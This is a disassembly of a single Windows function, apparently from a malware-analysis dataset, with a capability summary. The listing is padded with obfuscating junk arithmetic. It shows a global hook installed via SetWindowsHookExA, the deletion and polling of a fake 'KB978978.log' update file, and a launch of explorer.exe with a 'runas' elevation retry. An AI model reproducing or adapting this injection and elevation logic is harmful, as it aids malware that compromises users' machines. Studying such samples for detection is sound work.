Function at 0x40d650
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.004298a0
mov eax, dword [0x456fc0]
mov dword [esp + 0x1068], eax
mov eax, 0x59da2e6b
imul dword [0x45569c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x9cbd99d5
imul dword [0x455690]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebx
mov ebx, eax
push esi
sub ebx, ecx
mov ecx, dword [0x4556a8]
push edi
mov edi, dword [0x45568c]
mov esi, edi
imul esi, esi, 0x140f
mov eax, ecx
imul eax, eax, 0xaef
add eax, esi
mov dword [esp + 0x10], eax
mov eax, 0x4700d503
imul dword [0x455694]
mov eax, dword [esp + 0x10]
mov dword [esp + 0xc], esi
sar edx, 9
mov esi, edx
shr esi, 0x1f
add eax, ebx
add esi, edx
add esi, eax
cmp dword [ebp + 8], 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r____], esi
je 0x40d77f
mov eax, 0x6342662b
imul ecx, ecx, 0x14a2
imul dword [0x45569c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x12b9
sub ecx, eax
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add ecx, edx
mov eax, 0x1cb32649
imul dword [0x455690]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
sub ecx, eax
sub ecx, edx
sub ecx, 0x5cc
mov dword [0x455690], ecx
mov esi, 0x64
mov edi, edi
push 0x3e8
call edi
dec esi
jne 0x40d760
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042904d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x455690]
imul eax, eax, 0x16cb
mov edx, edi
imul edx, edx, 0x15c4
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x6342662b
imul dword [0x455694]
mov eax, dword [esp + 0x10]
sar edx, 0xb
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x6d62dd3b
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x455694]
imul eax, eax, 0x5cc
add ebx, eax
mov eax, dword [section.Hook_Dat]
test eax, eax
mov dword [0x45569c], ebx
je 0x40d84f
mov ecx, dword [0x4556a0]
mov eax, 0x5e17e411
imul ecx, ecx, 0x16cb
imul ebx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0x6d62dd3b
imul ecx
mov eax, dword [0x455690]
imul eax, eax, 0x5cc
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
sub edi, eax
mov eax, dword [0x455688]
add edi, esi
add eax, edi
mov dword [0x455688], eax
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.0042904d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [0x455698]
mov eax, 0x903bb8bb
imul esi, esi, 0x12b9
imul ebx
add edx, ebx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x736
sub esi, eax
add esi, dword [esp + 0xc]
mov eax, dword [0x4556a4]
add edx, esi
lea edx, [edx + eax - 0x5cc]
mov dword [0x455694], edx
mov esi, dword [str._r_____r____]
mov eax, 0x1cb32649
imul esi, esi, 0x11d7
imul edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
imul edx, edx, 0x509
sub esi, eax
mov eax, dword [ebp + 0x10]
add esi, edx
test eax, eax
mov dword [0x4556a0], esi
jg 0x40d9ce
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40d9ce
lea edx, [eax + 1]
mov dword [esp + 0xc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40d8e4
sub eax, dword [esp + 0xc]
mov dword [esp + 0xc], eax
je 0x40d9ce
mov eax, 0x903bb8bb
imul esi, esi, 0x140f
imul ecx, ecx, 0xaef
imul edi
mov ebx, dword [0x455694]
add edx, edi
sar edx, 0xb
mov edi, edx
add esi, edx
mov eax, 0x4700d503
imul dword [0x455690]
shr edi, 0x1f
sar edx, 9
add edi, esi
sub edi, ecx
mov ecx, dword [ebp + 0x14]
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, ebx
push ecx
add eax, 0x11d7
push 0
mov dword [0x45568c], eax
call fcn.0040b670
mov esi, eax
add esp, 8
test esi, esi
jle 0x40e256
mov ebx, dword [0x45569c]
mov ecx, dword [0x4556a4]
mov eax, 0x59da2e6b
imul ebx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x9cbd99d5
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe33
mov eax, ebx
imul eax, eax, 0x736
sub ecx, edi
mov edi, dword [0x45568c]
add ecx, edx
add ecx, eax
mov eax, 0x4700d503
imul edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x4556a4], ecx
mov ecx, dword [0x4556a8]
jmp 0x40da26
mov eax, 0x5e17e411
imul esi, esi, 0xd02
imul dword [str._r_____r____]
mov eax, dword [0x455690]
imul eax, eax, 0x140f
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov dword [esp + 0xc], eax
mov eax, 0x903bb8bb
imul dword [0x455698]
add edx, dword [0x455698]
mov eax, dword [esp + 0xc]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add eax, edx
add ecx, eax
sub ecx, esi
mov esi, dword [ebp + 0x10]
mov dword [0x4556a8], ecx
mov eax, 0x59da2e6b
imul ecx, ecx, 0xaef
imul edi, edi, 0x140f
imul ebx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x9cbd99d5
imul dword [0x455690]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
add eax, edi
add eax, ecx
mov ebx, eax
mov eax, 0x4700d503
imul dword [0x455694]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
push str.c:windowsKB978978.log
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x45569c]
mov eax, 0x5e17e411
imul ecx
mov ecx, dword [0x4556a4]
mov edi, dword [0x4556a0]
sar edx, 0xb
imul edi, edi, 0x16cb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x6d62dd3b
imul ecx
mov eax, dword [0x455688]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0x5cc
sub ebx, edi
sub ebx, ecx
mov ecx, dword [str._r_____r____]
sub ebx, edx
add ebx, ecx
mov ecx, dword [ebp + 0xc]
add eax, ebx
push esi
mov dword [0x455688], eax
mov eax, dword [0x56947c]
push eax
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.Hook_Dat], eax
je 0x40e2d2
mov ecx, dword [0x4556a8]
mov edi, dword [0x455688]
mov eax, 0x6342662b
imul dword [0x45569c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, ecx
imul esi, esi, 0x14a2
mov edx, edi
imul edx, edx, 0x12b9
sub esi, eax
add esi, edx
mov edx, dword [0x455690]
mov eax, 0x1cb32649
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
sub esi, eax
sub esi, edx
sub esi, 0x5cc
mov dword [0x569480], 1
xor ebx, ebx
jmp 0x40db90
mov esi, dword [0x455690]
mov ecx, dword [0x4556a8]
mov edi, dword [0x455688]
jmp 0x40db90
mov eax, 0x6342662b
imul ecx, ecx, 0x14a2
imul edi, edi, 0x12b9
imul dword [0x45569c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x1cb32649
imul esi
sar edx, 9
mov eax, edx
add ecx, edi
mov edi, dword [0x4556a0]
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
sub ecx, 0x5cc
push str.c:windowsKB978978.log
mov dword [0x455690], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x40dc01
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x12c
jl 0x40db79
mov esi, dword [0x4556a8]
mov edi, dword [0x4556a0]
mov eax, 0xcc33a611
imul edi, edi, 0xe33
imul esi
add edx, esi
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x455698]
mov eax, 0x5da803a9
imul ecx
mov ecx, dword [0x455694]
sar edx, 0xa
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x4700d503
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x5cc
sub edi, eax
sub edi, edx
cmp ebx, 0x12c
mov dword [0x455698], edi
jl 0x40e347
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x40e347
mov esi, dword [0x45568c]
mov edi, dword [0x455690]
mov eax, esi
imul edi, edi, 0x16cb
imul eax, eax, 0x15c4
add edi, eax
mov eax, 0x6342662b
imul ecx
imul ecx, ecx, 0x5cc
sar edx, 0xb
mov ebx, edx
add edi, edx
mov eax, 0x6d62dd3b
imul esi
sar edx, 0xb
mov eax, edx
shr ebx, 0x1f
shr eax, 0x1f
add ebx, edi
add eax, edx
sub ebx, eax
add ebx, ecx
push 0x800
lea ecx, [esp + 0x74]
push ecx
mov dword [0x45569c], ebx
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45568c]
mov eax, 0x1cb32649
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 9
imul ecx, ecx, 0x11d7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
imul edx, edx, 0x509
sub ecx, eax
add ecx, edx
lea eax, [esp + 0x70]
push eax
mov dword [0x4556a0], ecx
lea ecx, [esp + 0x874]
push str._sexplorer.exe
push ecx
call fcn.0042977a
lea edx, [esp + 0x87c]
push 0
push edx
call fcn.0042956d
add esp, 0x14
cmp eax, 0xffffffff
je 0x40e1f3
mov ecx, dword [0x45569c]
mov eax, 0x59da2e6b
imul ecx
imul ecx, ecx, 0x736
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov esi, eax
mov eax, 0x9cbd99d5
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe33
mov edi, eax
sub edi, esi
add edi, edx
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x4700d503
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push str.explorer.exe
mov dword [0x4556a4], edi
call fcn.00405430
mov ecx, dword [str._r_____r____]
mov esi, dword [0x455690]
mov eax, 0x5e17e411
imul esi, esi, 0x140f
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455698]
mov eax, 0x903bb8bb
imul ecx
add edx, ecx
sar edx, 0xb
add esi, edx
mov ecx, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0xd02
shr ecx, 0x1f
add ecx, esi
add esp, 4
sub ecx, edx
mov dword [0x4556a8], ecx
mov dword [esp + 0x10], 5
jmp 0x40de31
mov ecx, dword [0x4556a8]
mov edx, dword [0x45569c]
imul ecx, ecx, 0xaef
mov eax, 0x59da2e6b
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x9cbd99d5
imul dword [0x455690]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x140f
mov edi, eax
sub edi, esi
add edi, edx
add edi, ecx
mov ecx, dword [0x455694]
mov eax, 0x4700d503
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
push str.explorer.exe
mov dword [str._r_____r____], eax
call fcn.00404f70
add esp, 4
test eax, eax
jg 0x40e177
mov ebx, dword [0x4556a0]
mov eax, 0x5e17e411
imul dword [0x45569c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov ecx, ebx
imul ecx, ecx, 0x16cb
sub edi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0x6d62dd3b
imul ecx
sar edx, 0xb
mov ecx, edx
mov esi, dword [0x455688]
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0x5cc
sub edi, ecx
sub edi, edx
mov edx, dword [str._r_____r____]
xor eax, eax
add edi, edx
add esi, edi
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45568c]
mov eax, 0x903bb8bb
imul ecx
add edx, ecx
mov ecx, dword [0x4556a8]
mov edi, ebx
imul edi, edi, 0x140f
sar edx, 0xb
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edx, ecx
imul ecx, ecx, 0x14a2
imul edx, edx, 0xaef
sub eax, edx
mov edi, eax
mov eax, 0x4700d503
imul dword [0x455690]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, dword [0x455694]
add eax, 0x11d7
mov dword [0x45568c], eax
mov eax, 0x6342662b
imul dword [0x45569c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x1cb32649
imul dword [0x455690]
mov dword [0x455688], esi
imul esi, esi, 0x12b9
sar edx, 9
mov eax, edx
shr eax, 0x1f
add ecx, esi
add eax, edx
sub ecx, eax
sub ecx, ebx
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
sub ecx, 0x5cc
mov dword [0x455690], ecx
lea ecx, [esp + 0x60]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x78]
push eax
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x890]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40e061
mov esi, dword [0x45568c]
mov edx, dword [0x455698]
mov ecx, dword [0x45569c]
imul edx, edx, 0x12b9
mov edi, esi
imul edi, edi, 0x140f
add edi, edx
mov eax, 0x903bb8bb
imul ecx
add edx, ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x736
sub edi, eax
add edi, dword [0x4556a4]
lea eax, [edx + edi - 0x5cc]
mov dword [0x455694], eax
jmp 0x40e183
mov ecx, dword [0x4556a8]
mov esi, dword [0x4556a0]
mov eax, 0xcc33a611
imul esi, esi, 0xe33
imul ecx
add edx, ecx
imul ecx, ecx, 0x5cc
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
sub esi, eax
mov eax, 0x5da803a9
imul edx
sar edx, 0xa
mov edi, edx
add esi, edx
mov edx, dword [0x455694]
mov eax, 0x4700d503
imul edx
sar edx, 9
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, esi
push 1
sub edi, eax
sub edi, ecx
lea ecx, [esp + 0x74]
push ecx
push 0
lea edx, [esp + 0x87c]
push edx
push str.runas
push 0
mov dword [0x455698], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x45568c]
jg 0x40e143
mov ebx, dword [0x455690]
mov edi, dword [0x455694]
imul ebx, ebx, 0x16cb
mov eax, esi
imul eax, eax, 0x15c4
add ebx, eax
mov eax, 0x6342662b
imul edi
imul edi, edi, 0x5cc
sar edx, 0xb
add ebx, edx
mov ecx, edx
mov eax, 0x6d62dd3b
imul esi
sar edx, 0xb
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, ebx
add eax, edx
sub ecx, eax
add ecx, edi
mov dword [0x45569c], ecx
jmp 0x40e183
mov eax, 0x1cb32649
imul esi
mov eax, dword [0x455698]
sar edx, 9
imul eax, eax, 0x509
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x11d7
sub edx, ecx
add edx, eax
mov dword [0x4556a0], edx
jmp 0x40e17d
mov esi, dword [0x45568c]
mov ecx, dword [0x45569c]
mov eax, 0x59da2e6b
imul ecx
imul ecx, ecx, 0x736
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x9cbd99d5
imul dword [0x4556a4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe33
mov ebx, eax
sub ebx, edi
add ebx, edx
mov eax, 0x4700d503
imul esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add ebx, ecx
add eax, edx
sub ebx, eax
push 0x3e8
mov dword [0x4556a4], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x40de2b
mov esi, dword [0x455690]
mov eax, 0x5e17e411
imul esi, esi, 0x140f
imul dword [str._r_____r____]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455698]
mov eax, 0x903bb8bb
imul ecx
mov edi, dword [0x45568c]
mov ebx, dword [0x45569c]
add edx, ecx
sar edx, 0xb
add esi, edx
mov ecx, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0xd02
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
mov dword [0x4556a8], ecx
jmp 0x40d894
mov ecx, dword [0x4556a8]
mov esi, dword [0x4556a0]
mov eax, 0xcc33a611
imul esi, esi, 0xe33
imul ecx
add edx, ecx
imul ecx, ecx, 0x5cc
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
sub esi, eax
mov eax, 0x5da803a9
imul edx
sar edx, 0xa
add esi, edx
mov edi, edx
mov edx, dword [0x455694]
mov eax, 0x4700d503
imul edx
sar edx, 9
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, esi
add eax, edx
sub edi, eax
sub edi, ecx
mov dword [0x455698], edi
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042904d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45568c]
mov esi, dword [0x4556a0]
mov eax, 0x903bb8bb
imul esi, esi, 0x140f
imul ecx
add edx, ecx
mov ecx, dword [0x4556a8]
sar edx, 0xb
imul ecx, ecx, 0xaef
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, ecx
mov ecx, dword [0x455690]
mov eax, 0x4700d503
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x455694]
add eax, edi
sub eax, edx
add eax, 0x11d7
mov dword [0x45568c], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042904d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x45569c]
imul esi, esi, 0xaef
mov eax, 0x59da2e6b
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455690]
mov edi, eax
mov eax, 0x9cbd99d5
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x140f
mov ebx, eax
sub ebx, edi
add ebx, edx
mov eax, 0x4700d503
imul ecx
mov ecx, dword [esp + 0x1074]
sar edx, 9
add ebx, esi
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [str._r_____r____], eax
mov eax, 1
call fcn.0042904d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret